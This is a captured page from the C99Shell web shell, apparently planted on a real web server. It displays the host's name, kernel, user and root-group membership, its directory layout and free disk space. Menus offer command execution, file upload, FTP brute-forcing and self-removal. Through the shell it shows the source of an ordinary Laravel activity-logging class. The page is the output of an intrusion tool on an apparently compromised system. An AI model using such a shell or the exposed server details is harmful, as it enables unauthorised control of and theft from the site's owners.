!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Services/   drwxr-xr-x
Free 26.68 GB of 117.98 GB (22.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ActivityLogService.php (3.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package ActivityLogService
 * @author TechVillage <support@techvill.org>
 * @contributor Soumik Datta <soumik.techvill@gmail.com>
 * @created 17-09-2022
 */

namespace App\Services;

use 
App\Models\User;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Database\Eloquent\Model;
use 
Illuminate\Support\Facades\Request;
use 
App\Services\UserAgentParserService;

class 
ActivityLogService
{
    protected 
$request null;

    
/**
     * Log Name
     * @var string|null $logName
     */
    
protected $logName null;

    
/**
     * Log Description
     * @var string $description
     */
    
protected $description 'Not Provided';

    
/**
     * Causer Model
     * @var Model|null $causerModel
     */
    
protected $causerModel null;

    
/**
     * Subject Model
     * @var Model|null $subjectModel
     */
    
protected $subjectModel null;

    
/**
     * Properties data to store in the log
     * @param array|null $properties
     */
    
protected $properties null;

    
/**
     * Define constructor
     */
    
public function __construct()
    {
        
$this->request Request::instance();
    }

    
/**
     * Log login activities
     * @param string $status
     * @param string $message
     * @return void
     */
    
public function userLogin(string $status nullstring $message null)
    {
        
$causerTypeArray = ['Incorrect''Deleted''Pending''Inactive'];
        
$this->logName 'USER LOGIN';
        
$this->properties['status'] = $status;
        
$this->setRequestProperties();

        if (
in_array($message$causerTypeArray)) {
            
$this->causerModel User::where('email'$this->request->email)->first();
            
$this->description $message ' user';
        } else {
            
$this->description $message;
        }

        
$this->storeActivity();
    }

    
/**
     * Log logout activities
     * @param string $status
     * @param string $message
     * @param User $causerModel
     * @return void
     */
    
public function userLogout(string $status nullstring $message nullUser $causerModel)
    {
        
$this->logName 'USER LOGOUT';
        
$this->properties['status'] = $status;
        
$this->setRequestProperties();
        
$this->description $message;
        
$this->causerModel $causerModel;

        
$this->storeActivity();
    }

    
/**
     * Set url, method, ip address and user agent as properties
     * @return void
     */
    
public function setRequestProperties()
    {
        
$this->properties['url'] = Request::fullUrl();
        
$this->properties['method'] = Request::method();
        
$this->properties['ip_address'] = Request::ip();
        
$this->properties['user_agent'] = Request::header('user-agent');

        
$UAP = new UserAgentParserService();
        
$parsedUA $UAP->parse($this->properties['user_agent']);

        
$this->properties['browser'] = $parsedUA['browser'];
        
$this->properties['browser_version'] = $parsedUA['version'];
        
$this->properties['platform'] = $parsedUA['platform'];
    }

    
/**
     * Store activity using package helper function
     * @return void
     */
    
public function storeActivity()
    {
        
$activity activity($this->logName);

        if (
$this->properties != null) {
            
$activity->withProperties($this->properties);
        }
        if (
$this->causerModel != null) {
            
$activity->causedBy($this->causerModel);
        }
        if (
$this->subjectModel != null) {
            
$activity->performedOn($this->subjectModel);
        }

        
$activity->log($this->description);                 //finally saves the activity
    
}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--